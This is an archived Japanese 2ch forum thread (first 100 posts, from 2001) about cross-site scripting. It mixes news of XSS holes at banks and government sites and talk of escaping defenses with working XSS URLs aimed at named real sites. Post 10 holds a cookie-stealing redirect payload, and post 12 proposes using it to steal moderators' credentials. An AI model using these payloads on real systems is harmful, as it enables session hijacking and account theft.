TOP カテ一覧 スレ一覧 100〜終まで 2ch元 削除依頼
セキュリティ関係のMLの太田敏文ってどうよ。
暗号アルゴリズムに重大な欠陥発見の報告相次ぐ
100%完璧なセキュリティ対策
最強のポートスキャンnmapってどうよ？
SoftEther ver2.0
ソニーって、スパイ企業？
avast!Anti-Virus Part190
PC Tools Internet Security2008
アンチドートを語ろう♪ MAP05
GoldTachってどう？
クロスサイトスクリプティング
- 1 ：01/10/27 〜 最終レス ：2015/12/16
- http://securit.etl.go.jp/research/paper/css2001-takagi-dist.pdf
案外対策取られてないものですね。
クライアントサイドからもサーバサイドからも両面で対策しないと
まずいですね。
皆さんはどんな対策とってますか？
- 2 ：
- WebProg板にも同じようなスレが立ったんですが、
どうしましょう？
- 3 ：
- WebProg板でやる？
- 4 ：
- でもクライアント側の話はこっちじゃないかな？
ところで、「セキュリティホール memo ML」のアーカイブに
問題があるって本当？
- 5 ：
- ここのArticle 1756 みてみればわかる。
http://memo.st.ryukoku.ac.jp/archive/200110.month/index.html
- 6 ：
- >>5
ほんとだ。こりゃまずいわ。しかも高木さんの投稿、１０月26日
じゃん
- 7 ：
- http://galaxy.rwcp.or.jp/
ここは本文からしてだめだね。
引用の記号見るだけでエスケープされてないのが分かる。
- 8 ：
- 1のＰＤＦに書いてあったけど、
これって。。。。
http://pc.2ch.sc/../<S>test</S>
APACHEが古いの？
- 9 ：
- 最悪の場合トリップやキャップが漏れるね。
夜勤さんに報告したほうがいいのかな?
- 10 ：
- こんな感じでどこにでも吹っ飛ばせる。
http://pc.2ch.sc/../<SCRIPT>{location.href='http://www.2ch.sc/?'+document.cookie}</SCRIPT>
- 11 ：
- http://pc.2ch.sc/../%3CSCRIPT%3E{location.href=%27http://www.2ch.sc/?%27+document.cookie}%3C/SCRIPT%3E
- 12 ：
- エスケープするとエラー画面上でもエスケープされるから
問題ないのか
でもlocationとかで転送するという手はありそうだなあ。
で、転送URLを貼ったカキコを「エロ画像です。削除してください」
とか言って削除依頼すれば削除人のキャップを抜き放題(w
- 13 ：
- まだなおってない (｀皿′)ノ age
- 14 ：
- http://pc.2ch.sc/../%3CSCRIPT%3E{location.href=%27http://www.2ch.sc/?%27+document.cookie}%3C/SCRIPT%3E
を開くと、
ページが見つかりません
HTTP 400 - 不正な要求
Internet Explorer
となる。
- 15 ：
- >>14
ネスケでやってみれ．
IEなら，インターネットオプションの詳細設定のブラウズの，
HTTPエラーメッセージを簡易表示するのチェックを外してみれ．
- 16 ：
- 簡易表示するのチェックを外してみたところ、
Bad Request
Your browser sent a request that this server could not understand.
Invalid URI in request GET /../%3CSCRIPT%3E{location.href=%27http://www.2ch.sc/?%27+document.cookie}%3C/SCRIPT%3E HTTP/1.1
となった。ネスケでは後日やってみます。
ＩＥは５．０１ＳＰ２です。
- 17 ：
- セキュリティホール memo
http://www.st.ryukoku.ac.jp/~kjm/security/memo/ の
MS01-055: Cookie Data in IE Can Be Exposed or Altered Through Script Injection (セキュリティアンテナ, 2001.11.09)にあるデモ
http://www.solutions.fi/index.cgi/extra_iebug?lang=eng
でamazon.co.jpを読むと（事前にamazon.co.jpのcookieを取り込んである）
MSIE cookie vulnerability test page
This page displays the cookies found on your browser for site amazon.co.jp:
Cookies:
No cookies found for site...
Click here to make new search for cookies.
−−−−−
アクティブスクリプトに対して「プロンプトを表示」で表示されたら
はい（Ｙ）を選択する。
こんなダイアログ−http://www.st.ryukoku.ac.jp/~kjm/security/memo/2001/ie6-script-dialog.png
−−−−−
アクティブスクリプトを実行しなければ "; document.location=url; と表示される。
−−−−−
デモが表示された後、「戻る」と
警告: ページの有効期限切れ 要求したページは、フォームで送信された情報を使用して作成されました。このページは、もう利用できません。セキュリティ保護のため、情報は自動的には再送信されません。
情報を再送信し、この Web ページを表示するには、ツール バーの [更新] ボタンをクリックしてください。 となる。
- 18 ：
- >>16
ここで試してみれ。
http://slashdot.jp/comments.pl?sid=01/11/09/0844243&cid=30
- 19 ：
- http://pc.2ch.sc/../<SCRIPT>alert('hello')</SCRIPT>
Bad Request
Your browser sent a request that this server could not understand.
Invalid URI in request GET /../%3CSCRIPT%3Ealert('hello')%3C/SCRIPT%3E HTTP/1.0
−−−−−
HTTP/1.0となっている。 １６は１．１だが。
- 20 ：
- >>14
11では抜けないことは確認済み。
- 21 ：
- BBS_UNICODE=passな板なら数値文字参照を使って
クリック一発なURLを生成できた
「HTTPエラーメッセージの簡易表示」対策はしてないけど
http://teri.2ch.sc/test/read.cgi/accuse/1005368156/110
- 22 ：
- バカボンド age!
- 23 ：
- http://<script>alert('hogehoge')</script>
- 24 ：
- http://%3Cscript%3Ealert%28'hogehoge'%29%3C/script%3E
- 25 ：
- http://%3Cscript%3Ealert%28%27hogehoge%27%29%3C/script%3E
- 26 ：
- http://example.com/<test
- 27 ：
- http://example.com/>test
- 28 ：
- アゲとくか
- 29 ：
- officeのタカリネタ
- 30 ：
- CSSのスレは前からあったんだね。できれば荒らされないようにsage進行ｷﾎﾞﾝ。
当面、銀行スレからコピペで情報もってくるかな。
- 31 ：
- クロスサイトスクリプティング脆弱性レポートページが登場(2002.3.9)
クロスサイトスクリプティング脆弱性に関する啓蒙活動を行っている office 氏が、これまでに発見したクロス
サイトスクリプティングのうち代表的なものを紹介するページを公開した。
このページには、マイクロソフト、楽天、ジャパンネットバンク銀行などンなど大手企業のクロスサイトスクリプ
ティング脆弱性が報告されている。
Cross Site Scripting Holes
http://www.office.ac/holes.html
（詳しくはScan および Scan Daily EXpress 本誌をご覧ください）
http://shop.vagabond.co.jp/m-ssw01.shtml
http://shop.vagabond.co.jp/m-sdx01.shtml
https://www.netsecurity.ne.jp/article/1/4278.html
- 32 ：
- みずほ銀行のWebサイトにクロスサイトスクリプティングの脆弱性
4月1日より開業したみずほ銀行だが、相次ぐトラブルの中、あらたに同行のWebサイトに
クロスサイトスクリプティングの脆弱性が発見された。
この問題は、クロスサイトスクリプティング問題の調査と啓蒙を行っているoffice 氏が発見
したもので、同行のインターネットバンキングサービスのログイン画面などに脆弱性が存在
している。この脆弱性を利用することにより、偽装した画面を表示すること可能で、顧客番号
や口座番号、暗証番号をリダイレクトさせることもできるなど、非常に危険な状態である。
同行は合併に伴うシステムの移行が遅れ、挙げ句の果てにATMという基本的なシステム
が使えないと言う大失態を犯してしまうなど、トラブルが多発している。今回のクロスサイト
スクリプティングの脆弱性も、十分な検証が行われないままスタートした同行の慌てぶりを
象徴する事件であるといえよう。
大手銀行の合併が相次いだが、きわめてクリティカルな状況におかれる銀行においては、
システムの十分な検証が何よりも重要な事項である。確かに開業日までにシステムが完成
していることは重要である。しかし、利用者が安心して使用できるシステムを作り上げること
こそが、本当に大切なことであることを、システム担当者には今一度思い出して頂きたい。
http://headlines.yahoo.co.jp/hl?a=20020403-00000010-vgb-sci
- 33 ：
- ちゃんねる検索を２ちゃんねる化
http://2ch.dyn.to/cgi-bin/namazu.cgi?idxname=../<SCRIPT%20DEFER>document.body.innerHTML='<html><head><title>2%82%BF%82%E1%82%F1%82%CB%82%E9%82%D6%82%E6%82%A4%82%B1%82%BB</title>
</head><body><iframe%20src%3Dhttp://www.2ch.sc/%20frameborder%3Dno%20border%3D0%20width%3D100%25%20height%3D100%25%20marginwidth%3D0%20marginheight%3D0></iframe></body></html>';</script>
一行につなげて打ち込んで
- 34 ：
- 東京大学が２ちゃんねる
(1行につなげてね)
http://www.utnl.gen.u-tokyo.ac.jp/cgi-bin/namazu.cgi?idxname=../<SCRIPT%20DEFER>document.body.innerHTML='<html><head>
<title>2%82%BF%82%E1%82%F1%82%CB%82%E9%82%D6%82%E6%82%A4%82%B1%82%BB</title></head><body><iframe%20src%3Dhttp://www.2ch.sc/
%20frameborder%3Dno%20border%3D0%20width%3D100%25%20height%3D100%25%20marginwidth%3D0%20marginheight%3D0></iframe></body></html>';</script>
- 35 ：
- http://sv2.humeco.m.u-tokyo.ac.jp/cgi-bin/namazu.cgi?idxname=../<SCRIPT%20DEFER>document.body.innerHTML='<html>
<head><title>2%82%BF%82%E1%82%F1%82%CB%82%E9%82%D6%82%E6%82%A4%82%B1%82%BB</title></head><body><iframe%20src%3D
http://www.2ch.sc/%20frameborder%3Dno%20border%3D0%20width%3D100%25%20height%3D100%25%20marginwidth%3D0%20marginheight%3D0></iframe></body></html>';</script>
- 36 ：
- タイトルは body.innderHTML= じゃ変わらないね。
document.title= でどうよ。
- 37 ：
- UFJ銀行のサーバーにクロスサイトスクリプティングの脆弱性(2002.1.17)
https://www.netsecurity.ne.jp/article/1/3737.html
首相官邸のホームページにクロスサイトスクリプティングの脆弱性(2002.3.13)
https://www.netsecurity.ne.jp/article/1/4313.html
首相官邸にクロスサイトスクリプティング問題 任意のメッセージを表示可能(2002.3.14)
https://www.netsecurity.ne.jp/article/1/4337.html
警察庁、外務省、公安委員会のWebサイトにクロスサイトスクリプティング(2002.3.19)
https://www.netsecurity.ne.jp/article/1/4403.html
みずほ銀行のWebサイトにクロスサイトスクリプティングの脆弱性(2002.4.3)
https://www.netsecurity.ne.jp/article/1/4636.html
【Webサーバに起因するクロスサイトスクリプティング脆弱性（１）】（執筆：office）(2002.4.25)
https://www.netsecurity.ne.jp/article/3/4924.html
- 38 ：
- NetscapeとMozillaにローカルファイルが読み出せるセキュリティホール(2002.5.2)
Netscape6.1以上とMozilla0.9.7以上のバージョンに、ローカルファイルが閲覧出来るという問題が
発見された。この問題は、XMLHTTPコンポーネントに存在するセキュリティホールを利用することで、
リモートからローカルファイル転送出来るという物。
このセキュリティホールを発見したのは、イスラエルのGreyMagic Softwareで、同社は昨年の12月
にInternet Explorerでも同様の問題を発見している。マイクロソフトでは、この問題に対するパッチを
提供済みだ。
GreyMagic社によると、この問題をNetscapeに通達しているが、Netscapeからの連絡は現在の所
無いという。なお、Netscapeでは、危険性の高いバグを発見した物に対し1,000ドルを支払うという
「Bug Bounty Program」を実施しているものの、この件に対し何の返事もないことに、GreyMagic社
はNetscapeの対応の悪さを糾弾している。
https://www.netsecurity.ne.jp/article/1/5021.html
- 39 ：
- https://www.netsecurity.ne.jp/article/1/5129.html
クロスサイトスクリプティング攻撃がYahoo!オークションに仕掛けられる(2002.5.13)
この記事が Yahoo!ニュースに未だ掲載されず。
http://headlines.yahoo.co.jp/hl?c=sci&t=l
- 40 ：
- >>39 ソフトバンク系の会社はいかがわしいので公正を期待してはいけない(w
ZDNet(ソフトバンクの子会社）もいつもソフトバンクの都合悪いことは
報道しないでしょ。
- 41 ：
- 今回はYahoo工作員になってやろう。
こんなのクロスサイトスクリプティングじゃねーだろ。
ｵﾋｲｽが無知を糊塗するために広義のクロスサイトスクリプティングなどとごまかしたもんだから墓穴を掘ることになった。
ユーザが外部からスクリプト持ち込めるホストは全部脆弱性があるとでも言うつもりだろうか? めでてーな。ｹﾞﾗｹﾞﾗ
- 42 ：
- http://www.geocities.jp/yamasan_gogo/index.htm
- 43 ：
- >>41
Yahoo Auction は、クッキー盗まれたらヤバイだろ。
証明して欲しいのか？＞工作員
- 44 ：
- まさかクッキー値だけで認証してるとでも。 ｹﾞﾗｹﾞﾗ
Yahoo Japanはへっぽこだが本家Yahoo Inc.はそのくらいの技術力は持ってるぞ。
クッキーは同一IPアドレスに対して有効。(その他も見てるかも)
- 45 ：
- 44 が本物の工作員なら困ったことだな。
同一ＩＰのチェックしてれば問題ないとでも？
ケーブル民はどうなってもいいのか。
つーか、同一ＩＰチェックしてたら企業ユーザが使えなくなる。
- 46 ：
- ttp://www.pos.to/%3C%73C%72%69%70%74%3E%61%6C%65%72%74%28%22%82%DC%82%BD%E9%78%82%B3%82%EA%82%BD%82%F1%82%BE%82%CB%28%CC%DF%22%29%3C%2F%73C%72%69%70%74%3E
- 47 ：
- >>45
それだけやっても抜けるのは登録メアド、登録してあれば名前,住所等個人情報(登録はオプション)。
自己紹介と登録メアドは悪戯できるな。
- 48 ：
- 他人の垢で入札したり、他人の入札をキャンセルしたりできるんでねーの？
- 49 ：
- 入札のときはパスワードいるだろ。キャンセルはわからん。
- 50 ：
- [The Cross Site Scripting FAQ]
http://slashdot.jp/article.pl?sid=02/05/22/1134226
- 51 ：
- メールアドレスを変更して、そのアドレスにパスワード送らせることができる。
ただし、母親の旧姓だの、ペットの名前だのが必要になるが。
- 52 ：
- 「旅の窓口」mytrip.net にクロスサイトスクリプティング脆弱性(2002.6.3)
宿泊情報・観光情報、予約サービスを提供する「旅の窓口」mytrip.net にクロス
サイトスクリプティング脆弱性が発見された。
この問題により、Cookie情報の取得や悪意のあるページを作成することが可能に
なっていた。しかし、幸いなことに同サイトではCookie情報を利用していたが、現在
Cookieだけで認証は行っていないため、悪用される危険性は無かったようだ。
同サイトでは、クロスサイトスクリプティングに対する脆弱性を修正するとともに、
「 < 」「 > 」などといった特殊文字を、予約情報や掲示板などのサイト内で入力可
能な項目に使用することを禁止している。現在、これらの文字を含んだ項目を入力
しようとした場合には、警告を表示し入力を受け付けないよう、修正が施されている。
「旅の窓口」クロスサイト・スクリプティングの脆弱性について
http://www.mytrip.net/aboutcss.html
https://www.netsecurity.ne.jp/article/1/5388.html
- 53 ：
- >>52
旅窓は認証自体ﾔﾊﾞｲだろ ﾒｱﾄﾞと電話番号だぞ
- 54 ：
- なんかね、以前書いた CGI スクリプト見たん
です。そしたら、text/plain でエラーメッセー
ジ出してるじゃないですか。しかもユーザ入
力そのまま入ってるし。text/html じゃない
から平気だと思ってたんだけど。
IE だとヤヴァイらしいから、書き換えますね。
ヤレヤレ…
- 55 ：
- ローカル HTML リソースに存在するクロスサイト スクリプティングの脆弱性。
カスケード スタイル シートのサポートを提供する HTML オブジェクトの使用に関連する情報の漏えいの脆弱性。
Cookie 内のスクリプト処理に関連する情報の漏えいの脆弱性。
ゾーン偽装の脆弱性。
マイクロソフト セキュリティ情報 MS01-058 で説明されている 「Content-Disposition」 の脆弱性の 2 つの変種。
概要 :
このセキュリティ情報の対象となるユーザー : MicrosoftR Internet Explorer を使用しているお客様
脆弱性の影響 : 6 つの新しい脆弱性。最も深刻な脆弱性については、攻撃者の選択したコードが
実行される可能性があります。
最大深刻度 : 高
推奨する対応策 : Internet Explorer の影響を受けるバージョンを使用しているお客様は直ちに
この修正プログラムをインストールして下さい。
影響を受けるソフトウェア :
Microsoft Internet Explorer 5.01
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 6
2002 年 5 月 15 日 Internet Explorer 用の累積的な修正プログラム (Q321232) (MS02-023)
http://www.microsoft.com/japan/technet/treeview/default.asp?url=/japan/technet/security/bulletin/ms02-023.asp
- 56 ：
- Vulnerabilities on Major Websites
http://webmail.linux-tech.com/pipermail/infosec/2002-March/000070.html
によれば
http://www.whitehouse.gov/cgi-bin/good-bye.cgi?url=<script>alert("Point+Blank+Security");</script>
がCSSだそうだが、これは現在のところ修正したのかな？効かない。
だけれど
http://www.whitehouse.gov/cgi-bin/good-bye.cgi?url=javascript:alert('Point+Blank+Security')
同じく
http://www.fbi.gov/cgi-bin/outside.cgi?<script>alert("Point+Blank+Security");</script>
がCSSだそうだが、これは現在のところ修正したのかな？効かない。
だけれど
http://www.fbi.gov/cgi-bin/outside.cgi?javascript:alert('Point+Blank+Security')
なんちゅうか、sage.
- 57 ：
- http://search.linuxsecurity.com/cgi-bin/htsearch?words='></title><script>alert("---")</script>
- 58 ：
- http://search.linuxsecurity.com/cgi-bin/htsearch?words='></title><script>alert("---")</script>
は修正されたみたい。
- 59 ：
- age
- 60 ：
- 某ＮＨＫのことかな？
- 61 ：
- 某って言うな某って！
棒なら僕の菊穴に入ってるよ、太いやつが・・（ﾊｱﾊｱ･･
- 62 ：
- Googleの「巨人 村田」バグの謎は解けたんでしょうか？
- 63 ：
- あげ
- 64 ：
-
IEを使って次の問いに答えよ。
設問：次の二つのURLでの挙動の違いとは何か？
ttp://sunsolve.sun.com/<p/style=background-image:url(javascript:document.URL=document.URL)>
ttp://sunsolve.sun.com/<script>document.URL=document.URL;</script>
- 65 ：
- age
- 66 ：
- >>64 は何?
- 67 ：
- とっても便利
どこからでもメールが送れる
http://www2u.biglobe.ne.jp/~ira/mail.cgi
- 68 ：
- 訂正
http://www2u.biglobe.ne.jp/~ira/
- 69 ：
- 訂正
http://www2u.biglobe.ne.jp/~ira/mail.log
- 70 ：
- >>67
スレとの関係がわからんが、怖くて使えんよ。
- 71 ：
- >>70
単なるメアド収集なので通報しておきました
- 72 ：
- >>71
どこに？
- 73 ：
- 通報しますたにマジレスする香具師がいるとは思わなんだ
- 74 ：
- [memo:4996] 愛知県避難所支援システムの XSS 脆弱性
- 75 ：
- age
- 76 ：
- （＾＾）
- 77 ：
- age
- 78 ：
- 見てみ
http://homepage3.nifty.com/digikei/
- 79 ：
- >>78
見たよ〜
- 80 ：
- （＾＾）
- 81 ：
- ∧＿∧
（ ＾＾ ）＜ ぬるぽ（＾＾）
- 82 ：
- ━―━―━―━―━―━―━―━―━[JR山崎駅（＾＾）]━―━―━―━―━―━―━―━―━―
- 83 ：
-
__∧＿∧_
|（ ＾＾ ）| ＜寝るぽ（＾＾）
|＼⌒⌒⌒＼
＼ |⌒⌒⌒~| 山崎渉
~￣￣￣￣
- 84 ：
- ∧＿∧ ∧＿∧
ﾋﾟｭ.ｰ （ ・３・） ( ＾＾ ） ＜これからも僕たちを応援して下さいね（＾＾）。
＝〔~∪￣￣￣∪￣￣〕
＝ ◎――――――◎ 山崎渉&ぼるじょあ
- 85 ：
- (⌒V⌒)
│ ＾ ＾ │＜これからも僕を応援して下さいね（＾＾）。
⊂| |つ
（＿）（＿） 山崎パン
- 86 ：
- 今でもCSSなんて残ってるの？
- 87 ：
- だから古いスレ上げるなバカ
- 88 ：
- >>87
話題が無いなら黙ってれば？
- 89 ：
- 私はsageもできないバカです。
- 90 ：
- >>88
低脳は黙ってろクズ
- 91 ：
- 馬鹿どもを晒しage
- 92 ：
- >>86
http://www.crowechizek.com/CC/Global+Navigation/Services/r05_ovr.htm?Serv="><s>
- 93 ：
- 今日の情報セキュリティ試験でXSSが出て来た…
- 94 ：
- >>93
Webブラウザからのリクエストに対してWebサーバが返すWebコンテンツ中に
[ b ]が存在した場合には，それらに対するエスケープ処理をWebサーバが
実施しなければならないといったことがあります。
bに相当するのは普通「スクリプト」だと思うんだが、解答群に無かったよな。
- 95 ：
- >>94
メタキャラクタでいいんじゃない？
要は不等号をタグとして扱わなければいい訳だし。
- 96 ：
- >>95
うん。漏れもメタキャラクタにしたんだけどXSS対策に限定すると
何か回答としてはイマイチだなぁと。
- 97 ：
- 総務省お抱えのcrowechizekはFlash,HTML両バージョンともダメダメ。
Flashでは応答返ってこないし、HTMLでは文字大きくなるし。
"<H1>No medicine can cure a fool</H1>
- 98 ：
- ↑IIS?
- 99 ：
- > Webブラウザからのリクエストに対してWebサーバが返すWebコンテンツ中に
リクエストに対して返すコンテンツ中のメタキャラクタを全部エスケープしち
まったら、HTMLが全部ソースで見えちまうだろ。大丈夫か、その試験。
- 100 ：
- >>94
スクリプト を エスケープする とは言わない。
エスケープする対象として日本語的に適切な選択肢を選べば回答できる。
他にはどんな選択肢があったの？
100〜のスレッドの続きを読む
【仮想化】Returnil Virtual System【仮想化】
CCCの提携先が増えたら上げるスレ
Sandboxie Vol.4
ウィルスバスター(笑)
Counterspy
【流行の】Frethem【ﾖｶｰﾝ】
@nifty 常時安全セキュリティ24プラス Part 3
セキュリティ関係のMLの太田敏文ってどうよ。
OSの設定だけで、ぶったまげる程ｾｷｭｱにする方法
週刊アスキーにスパイツールとして Netscape6 が
--------------------
TEST26
【MHW】チャージアックススレ チャージ113回目
客主〜商売の神〜
自民党に投票したやつ謝って！今すぐ謝って！
最後に「全裸で」をつけるスレinCG板
特捜警察ジャンポリス 第226回
☆女子最高峰★お茶の水女子大学附属高等学校★
【薬物】コカイン所持で逮捕、「有吉反省会」出演の有名ヘアメーク・李惇源の素性 「大阪市生野区の出身で、４人きょうだいの末っ子や」
乙女@星彼Days Part10
世界の女子陸上を
【FIT】小規模太陽光発電事業者36【PV】
週刊朝日関西私大Ｗ合格対決:同志社100-0立命、関学91-9立命、関大34-66立命
【UQmobile】UQモバイル総合スレ 13通話目
JVCのヘッドホンイヤホ Part24【Victor/ビクター】
【疲労芸人】羽生結弦ｱﾝﾁｽﾚ288【全日本も敗北】
おまCシャニマス部★7
日本人世界王者で最も情けない井岡一翔というゴミ
2019 有馬記念フェスティバル〜公開枠順抽選会〜★3
☆★〜新体操選手をいやらしい目で見るスレ〜★☆
【福井晴敏総合】ガンダムユニコーンアンチスレ120
TOP カテ一覧 スレ一覧 100〜終まで 2ch元 削除依頼
